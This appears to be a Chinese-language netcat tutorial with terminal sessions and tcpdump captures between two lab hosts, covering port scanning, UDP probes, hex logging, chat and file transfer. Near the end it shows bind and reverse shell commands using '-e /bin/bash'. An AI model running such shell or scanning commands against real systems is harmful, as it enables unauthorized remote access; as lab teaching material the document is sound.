netcat被称为网络工具中的瑞士×××,最初由Hobbit <hobbit@avian.org>开发,并且在多年来一直被认为是网络安全领域最有用工具的前几名。
A (BackTrack 5, 10.200.21.232)
B (CentOS release 5.5, 10.200.21.235)
root@bt:~# netcat -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
root@bt:~# nc -v 10.200.21.235 21
10.200.21.235: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [10.200.21.235] 21 (ftp) open
220 (vsFTPd 2.0.5)
root@bt:~# nc 10.200.21.235 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
06:04:12.633407 IP 10.200.21.232.33987 > 10.200.21.235.http: S 4117132960:4117132960(0) win 14600 <mss 1460,sackOK,timestamp 155677271 0,nop,wscale 6>
06:04:12.746654 IP 10.200.21.235.http > 10.200.21.232.33987: S 757606161:757606161(0) ack 4117132961 win 5792 <mss 1460,sackOK,timestamp 610759967 155677271,nop,wscale 7>
06:04:12.634408 IP 10.200.21.232.33987 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155677275 610759967>
06:04:13.638624 IP 10.200.21.232.33987 > 10.200.21.235.http: P 1:2(1) ack 1 win 229 <nop,nop,timestamp 155677523 610759967>
06:04:13.638744 IP 10.200.21.235.http > 10.200.21.232.33987: . ack 2 win 46 <nop,nop,timestamp 610760915 155677523>
06:04:13.876391 IP 10.200.21.232.33987 > 10.200.21.235.http: P 2:3(1) ack 1 win 229 <nop,nop,timestamp 155677586 610760915>
06:04:13.876437 IP 10.200.21.235.http > 10.200.21.232.33987: . ack 3 win 46 <nop,nop,timestamp 610761152 155677586>
06:04:14.568591 IP 10.200.21.232.33987 > 10.200.21.235.http: F 3:3(0) ack 1 win 229 <nop,nop,timestamp 155677759 610761152>
06:04:14.568883 IP 10.200.21.235.http > 10.200.21.232.33987: F 1:1(0) ack 4 win 46 <nop,nop,timestamp 610761845 155677759>
06:04:14.569050 IP 10.200.21.232.33987 > 10.200.21.235.http: . ack 2 win 229 <nop,nop,timestamp 155677759 610761845>
root@bt:~# nc -z 10.200.21.235 80
tcpdump抓包结果如下:
[root@centOS ~]#tcpdump port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
06:02:11.430807 IP 10.200.21.232.33986 > 10.200.21.235.http: S 2217592740:2217592740(0) win 14600 <mss 1460,sackOK,timestamp 155646974 0,nop,wscale 6>
06:02:11.548041 IP 10.200.21.235.http > 10.200.21.232.33986: S 625652050:625652050(0) ack 2217592741 win 5792 <mss 1460,sackOK,timestamp 610649328 155646974,nop,wscale 7>
06:02:11.548288 IP 10.200.21.232.33986 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155646974 610649328>
06:02:11.548437 IP 10.200.21.232.33986 > 10.200.21.235.http: F 1:1(0) ack 1 win 229 <nop,nop,timestamp 155646974 610649328>
06:02:11.548623 IP 10.200.21.235.http > 10.200.21.232.33986: F 1:1(0) ack 2 win 46 <nop,nop,timestamp 610649329 155646974>
06:02:11.432331 IP 10.200.21.232.33986 > 10.200.21.235.http: . ack 2 win 229 <nop,nop,timestamp 155646974 610649329>
root@bt:~# nc -u -z 10.200.21.235 1333
[root@centOS ~]#tcpdump udp port 1333 -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
06:08:14.469554 IP 10.200.21.232.44043 > 10.200.21.235.passwrd-policy: UDP, length 1
0x0020: 0000 0000 0000 0000 0000 0000 0000 ..............
root@bt:~# time nc -l -w 5 -p 1333
no connection : Connection timed out
-u参数:
root@bt:~# nc -l -p 1333 -o logfile1
root@bt:~# cat logfile1
< 00000000 68 65 6c 6c 6f 0a # hello.
< 00000006 41 0a # A.
< 00000008 31 32 33 34 0a # 1234.
> 00000000 74 65 73 74 0a # test.
root@bt:~# nc 10.200.21.235 80 -o logfile
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
root@bt:~# cat logfile
> 00000000 67 65 74 20 78 78 0a # get xx.
< 00000000 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 # <html>..<head><t
< 00000010 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 # itle>400 Bad Req
< 00000020 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 # uest</title></he
< 00000030 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c # ad>..<body bgcol
< 00000040 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 # or="white">..<ce
< 00000050 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 # nter><h1>400 Bad
< 00000060 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 # Request</h1></c
< 00000070 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e # enter>..<hr><cen
< 00000080 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 2e 38 3c # ter>nginx/1.1.8<
< 00000090 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 # /center>..</body
< 000000a0 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a # >..</html>..
[root@centOS ~]#tcpdump port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
06:14:58.333934 IP 10.200.21.232.44412 > 10.200.21.235.http: S 1359355635:1359355635(0) win 14600 <mss 1460,sackOK,timestamp 155838700 0,nop,wscale 6>
06:14:58.480471 IP 10.200.21.235.http > 10.200.21.232.44412: S 1440501038:1440501038(0) ack 1359355636 win 5792 <mss 1460,sackOK,timestamp 611350808 155838700,nop,wscale 7>
06:14:58.334006 IP 10.200.21.232.44412 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155838700 611350808>
06:15:00.920563 IP 10.200.21.232.44412 > 10.200.21.235.http: P 1:8(7) ack 1 win 229 <nop,nop,timestamp 155839347 611350808>
06:15:00.920612 IP 10.200.21.235.http > 10.200.21.232.44412: . ack 8 win 46 <nop,nop,timestamp 611353154 155839347>
06:15:00.920851 IP 10.200.21.235.http > 10.200.21.232.44412: P 1:173(172) ack 8 win 46 <nop,nop,timestamp 611353154 155839347>
06:15:00.920902 IP 10.200.21.235.http > 10.200.21.232.44412: F 173:173(0) ack 8 win 46 <nop,nop,timestamp 611353154 155839347>
06:15:00.921019 IP 10.200.21.232.44412 > 10.200.21.235.http: . ack 173 win 245 <nop,nop,timestamp 155839347 611353154>
06:15:00.921468 IP 10.200.21.232.44412 > 10.200.21.235.http: F 8:8(0) ack 174 win 245 <nop,nop,timestamp 155839347 611353154>
06:15:00.921525 IP 10.200.21.235.http > 10.200.21.232.44412: . ack 9 win 46 <nop,nop,timestamp 611353155 155839347>
root@bt:~# nc 10.200.21.235 80 -p 1001
root@bt:~# netstat -na | grep ESTAB
tcp 0 0 10.200.21.232:1001 10.200.21.235:80 ESTABLISHED
udp6 0 0 ::1:41928 ::1:41928 ESTABLISHED
root@bt:~# netstat -na | grep ESTAB
tcp 0 0 10.200.21.232:55402 10.200.21.235:80 ESTABLISHED
udp6 0 0 ::1:41928 ::1:41928 ESTABLISHED
root@bt:~# nc -l -p 1333
root@bt:~# netstat -na | grep 1333
tcp 0 0 0.0.0.0:1333 0.0.0.0:* LISTEN
-c 参数:
root@bt:~# nc -l -p 1333 -c "uname -a"
[root@centOS ~]#nc 10.200.21.232 1333
Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
[root@centOS ~]#nc -l 1333
Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
[root@centOS ~]#
root@bt:~# nc 10.200.21.235 1333 -c "uname -a"
nc -z -vv -n -r -i 1 10.200.21.235 21-25
root@bt:~# nc -z -vv -n -r -i 1 10.200.21.235 21-25
(UNKNOWN) [10.200.21.235] 22 (ssh) open
(UNKNOWN) [10.200.21.235] 24 (?) : Connection refused
(UNKNOWN) [10.200.21.235] 21 (ftp) open
(UNKNOWN) [10.200.21.235] 25 (smtp) : Connection refused
(UNKNOWN) [10.200.21.235] 23 (telnet) : Connection refused
Go for lunch, 5 mins later. David.
Wait, I got trouble. 15 mins later at 11:50, Okey?
OK, see u outside then
root@bt:~# nc 10.200.21.235 1333
Go for lunch, 5 mins later. David.
root@bt:~# nc 10.200.21.235 1333
Wait, I got trouble. 15 mins later at 11:50, Okey?
OK, see u outside then
[root@centOS ~]#cat nc.tmp
[root@centOS ~]#nc -l 1333 < nc.tmp
root@bt:~# nc 10.200.21.235 1333 > nc.tmp
root@bt:~# cat nc.tmp
[root@centOS ~]#tar -zcvf - tmp_dir | nc -l 1333
tar: tmp_dir/1.txt: time stamp 2013-05-05 17:26:36 is 387202.398680222 s in the future
tar: tmp_dir/3.txt: time stamp 2013-05-05 17:27:09 is 387235.398070617 s in the future
tar: tmp_dir/2.txt: time stamp 2013-05-05 17:26:48 is 387214.397317901 s in the future
tar: tmp_dir: time stamp 2013-05-05 17:26:10 is 387176.396369297 s in the future
root@bt:~# nc -l -p 1333 -e /bin/bash
uname -a
Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
cat /etc/issue
BackTrack 5 - Code Name Revolution 32 bit\n \l
nc -l -p 1333
nc 10.200.21.232 1333 –e /bin/bash